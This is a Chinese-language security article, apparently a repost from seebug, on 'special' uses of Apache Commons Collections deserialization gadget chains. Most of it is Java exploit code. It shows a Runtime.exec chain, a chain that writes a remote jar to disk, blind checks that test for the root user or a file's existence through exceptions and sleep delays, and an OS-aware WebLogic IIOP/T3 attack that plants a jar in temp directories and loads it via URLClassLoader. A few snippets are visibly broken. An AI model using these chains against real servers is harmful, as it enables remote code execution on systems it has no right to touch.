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Apache CommonCollection Gadget 几种特殊的玩法

作者：宽字节安全

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0x01 简介

众所周知，CommonCollection Gadget主要是由 ConstantTransformer ， InvokerTransformer ， ChainedTransformer 构成。gadget主要通过 Transformer 接口的 transform 方法，对输入的对象做变换。 ConstantTransformer 不会做任何变换，只会返回类在实例化时传入的对象， InvokerTransformer 会对类在实例化时传入的参数，通过反射去调用， ChainedTransformer 将所有的 Transformer 连接起来，上一个 Transformer 的 transform 方法的结果，作为下一个 Transformer 的 transform 方法的参数。这样就完成java反序列化的gadget。下面为调用Runtime执行calc的CommonCollection的chain

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

上面的chain等效与下面的代码

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

从上面的代码中我们可以暂时得出以下结论

只有链式调用的方法才可以被改写成CommonCollection执行链
gadget中，不能有变量声明语句
没有while等语句
一切操作靠反射

0x02 CommonCollection其他Transform的简介

在 org.apache.commons.collections.functors 中，所有的类都可以被简单的分为三类，分别继承自 Transformer 接口， Predicate 接口， Closure 接口。这三个接口主要有以下区别

Transformer
Closure
Predicate

对于我们来说， Closure 接口没有太多用，下面主要介绍一下继承自 Transformer 接口的类与继承自 Predicate 接口的类

继承自 `Transformer` 接口的类

ChainedTransformer

将实例化后的Transformer的类的数组，按顺序一个一个执行，前面的transform结果作为下一个transform的输出。

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

CloneTransformer

调用并返回输入对象clone方法的结果

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        return PrototypeFactory.getInstance(input).create();
    }

ClosureTransformer

将 Closure 接口的类转换为 Transformer

    public Object transform(Object input) {
        iClosure.execute(input);
        return input;
    }

ConstantTransformer

调用transform方法，只返回类在实例化时存储的类

public Object transform(Object input) {    return iConstant;}

ExceptionTransformer

抛出一个异常，FunctorException

public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}

FactoryTransformer

调用相应的工厂类并返回结果

public Object transform(Object input) {    return iFactory.create();}

InstantiateTransformer

根据给定的参数，在调用transform方法的时候实例化一个类

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

InvokerTransformer

调用transform方法的时候，根据类在实例化时提供的参数，通过反射去调用输入对象的方法

MapTransformer

在调用transform方法时，将输入函数作为key，返回类在实例化时参数map的value

public Object transform(Object input) {    return iMap.get(input);}

NOPTransformer

啥也不干的Transformer

public Object transform(Object input) {    return input;}

SwitchTransformer

类似if语句，在如果条件为真，则执行第一个Transformer，如果条件为假，则执行第二个Transformer

    public Object transform(Object input) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(input) == true) {
                return iTransformers[i].transform(input);
            }
        }
        return iDefault.transform(input);
    }

PredicateTransformer

将Predicate包装为Transformer

public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}

StringValueTransformer

调用String.valueOf，并返回结果

public Object transform(Object input) {
        return String.valueOf(input);
    }

继承自 `Predicate` 接口的类

AllPredicate

在执行多个Predicate，是否都返回true。

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object) == false) {
                return false;
            }
        }
        return true;
    }

AndPredicate

两个Predicate是否都返回true

public boolean evaluate(Object object) {
       return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
    }

AnyPredicate

与AllPredicate相反，只要有任一一个Predicate返回true，则返回true

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object)) {
                return true;
            }
        }
        return false;
    }

EqualPredicate

输入的对象是否与类在实例化时提供得对象是否一致

public boolean evaluate(Object object) {    return (iValue.equals(object));}

ExceptionPredicate

在执行evaluate时抛出一个异常

FalsePredicate

永远返回False

IdentityPredicate

evaluate方法中输入的对象是否与类实例化时提供的类是否一样

public boolean evaluate(Object object) {    return (iValue == object);}

InstanceofPredicate

输入的对象是否与类实例化时提供的类的类型是否一致

public boolean evaluate(Object object) {    return (iType.isInstance(object));}

NotPredicate

对evaluate的结果取反操作

public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}

NullIsExceptionPredicate

如果输入的对象为null，则抛出一个异常

NullIsFalsePredicate

如果输入的对象为null，则返回false

NullIsTruePredicate

如果输入的对象为null，则返回true

NullPredicate

输入的对象是否为null

OrPredicate

类似与条件语句中的或

public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}

TransformerPredicate

将一个Transformer包装为Predicate

0x03 使用方法

CommonCollection写入文件

这种方法通过InvokerTransformr调用构造函数，然后再写入文件。当然，这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件，代码如下

                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "filePath, false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),

Gadget版盲注

思想类似于Sql的盲注。我们可以通过如下语句检测java进程是否是root用户

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

我们可以通过如下cc链，执行该语句

        TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        new ChainedTransformer(new Transformer[]{
                                new ConstantTransformer(System.class),
                                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                                new InvokerTransformer("invoke",
                                        new Class[]{Object.class, Object[].class},
                                        new Object[]{null, new Object[]{"user.name"}}),
                                new InvokerTransformer("toString",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("toLowerCase",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("contains",
                                        new Class[]{CharSequence.class},
                                        new Object[]{"root"}),
                        })),
                new TransformerUtils.exceptionTransformer(),
                new TransformerUtils.nopTransformer());

是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
    Thread.sleep(7000);
}

改写成cc链

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

weblogic iiop/T3回显

主要问题有目前只能用URLClassloader，但是需要确定上传到weblogic服务器的位置。而这里我们知道，windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样。如果只用invokerTransform的话，最简单的执行回显的方案如下

sequenceDiagram
攻击者->>weblogic: 上传至Linux的临时目录/tmp/xxx.jar
攻击者->>weblogic: 调用urlclassloader加载，安装实例
攻击者->>weblogic:通过lookup查找实例，检测是否安装成功
weblogic->>攻击者: 安装成功，结束
weblogic->>攻击者: 安装失败，抛出异常
攻击者->>weblogic: 上传至windows的临时目录 C://Windows//Temp//xxx.jar
攻击者->>weblogic: 调用urlclassloader加载，安装实例
攻击者->>weblogic:通过lookup查找实例，检测是否安装成功
weblogic->>攻击者: 安装成功 结束
weblogic->>攻击者: 安装失败

攻击一次weblogic服务器，最多可能需要发送6次反序列化包，才能成功的给weblogic服务器安装实例。这显然不符合我们精简代码的思想。下面我们用正常思维的方式去执行一下攻击过程

if (os == 'win'){
    fileOutput(winTemp)
    }
else{
    fileOutput(LinuxTemp)
    }
if (os == 'win'){
    urlclassloader.load(winTemp)
    }
else{
    urlclassloader.load(LinuxTemp)
    }

这里我们可以使用 SwitchTransformer + Predicate + ChainedTransformer 组合去完成。

SwitchTransformer
Predicate
ChainedTransformer

SwitchTransformer 类需要一个 Predicate ，而这里 TransformerPredicate 可以将一个Transformer转换为一个 Predicate 。所以我们需要一个可以判断操作系统的chain。然后将判断操作系统的chain作为 Predicate ，调用switchTransformer，根据结果，将可执行ja包写入win或者linux的临时目录。然后再调用第二个switchTransformer，根据操作系统的类型，调用URLclassloader分别加载相应上传位置的jar包，通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来。代码如下

        Transformer t = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "C://Windows//Temp//xxx.jar", false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),
                TransformerUtils.nopTransformer());

        Transformer t1 = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(URLClassLoader.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        URL[].class
                                },
                                new Object[]{
                                        new URL[]{new URL("file:/C://Windows//Temp//xxx.jar")}
                                }),
                        new InvokerTransformer("loadClass",
                                new Class[]{String.class}, new Object[]{className}),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
                TransformerUtils.nopTransformer()); // 这块自行改成linux的吧

        Transformer list = new ChainedTransformer(new Transformer[]{
                t,
                t1
        });

    private static ChainedTransformer getSysTypeTransformer() {
        return new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(System.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{"os.name"}}),
                new InvokerTransformer("toString",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("toLowerCase",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("contains",
                        new Class[]{CharSequence.class},
                        new Object[]{"win"}),
        });
    }

0x04 参考

https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure

原文 https://paper.seebug.org/1195/

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